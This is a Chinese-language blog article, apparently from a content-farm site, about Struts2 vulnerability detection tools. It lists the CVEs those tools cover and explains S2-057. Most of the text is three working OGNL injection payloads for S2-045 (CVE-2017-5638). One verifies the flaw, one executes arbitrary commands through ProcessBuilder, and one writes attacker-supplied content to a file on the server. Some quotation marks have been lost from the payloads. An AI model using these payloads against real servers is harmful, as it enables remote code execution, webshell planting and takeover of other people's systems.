共計 3309 個字符,預計需要花費 9 分鐘才能閱讀完成。
今天丸趣 TV 小編給大家分享一下 Struts2 漏洞怎么利用工具檢查的相關知識點,內容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。
Struts2 是一個基于 MVC 設計模式的 Web 應用框架,但 2 存在遠程代碼執行的漏洞,動力節點丸趣 TV 小編認為,檢測出漏洞就要進行 Struts2 漏洞修復,現在 Struts2 漏洞檢測工具 2017 版增加 S2-046,官方發布 S2-046 和 S2-045 漏洞引發原因一樣,只是利用漏洞的位置發生了變化,S2-046 方式可能繞過部分 WAF 防護,存在 S2-045 就存在 S2-046。
當 Struts2 開啟 devMode 模式時,將導致嚴重遠程代碼執行漏洞。如果 WebService 啟動權限為最高權限時,可遠程執行任意命令,包括關機、建立新用戶、以及刪除服務器上所有文件等等。
支持 S2-057 CVE-2018-11776、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、S2-032 CVE-2016-3081、S2-020 CVE-2014-0094、S2-019 CVE-2013-4316 等漏洞檢測!
Apache Struts2 存在遠程代碼執行的高危漏洞 (S2-057/CVE-2018-11776),該漏洞由 Semmle Security Research team 的安全研究員 Man YueMo 發現。該漏洞是由于在 Struts2 開發框架中使用 namespace 功能定義 XML 配置時,namespace 值未被設置且在上層動作配置(Action Configuration) 中未設置或用通配符 namespace,可能導致遠程代碼執行。同理,url 標簽未設置 value 和 action 值且上層動作未設置或用通配符 namespace 時也可能導致遠程代碼執行!
相關 exp:
S2-045:
1. 驗證漏洞,修改 Content-Type,返回內容為“webpath”代表存在漏洞。
%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(#res.getWriter().print(web)).
(#res.getWriter().print(path)).(#res.getWriter().flush()).(#res.getWriter().close())}
2. 執行命令
%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder([cmd] .toString().split( s))).start().getInputStream()).useDelimiter(AAAA)).
(#str=#s.hasNext()?#s.next():).(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}
3. 上傳文件:
%{(#test= multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context[ com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType( text/html;charset=UTF-8)).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader( test)).close()).(#res.getWriter().print(oko)).
(#res.getWriter().print(kok/)).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}
以上就是“Struts2 漏洞怎么利用工具檢查”這篇文章的所有內容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,丸趣 TV 小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注丸趣 TV 行業資訊頻道。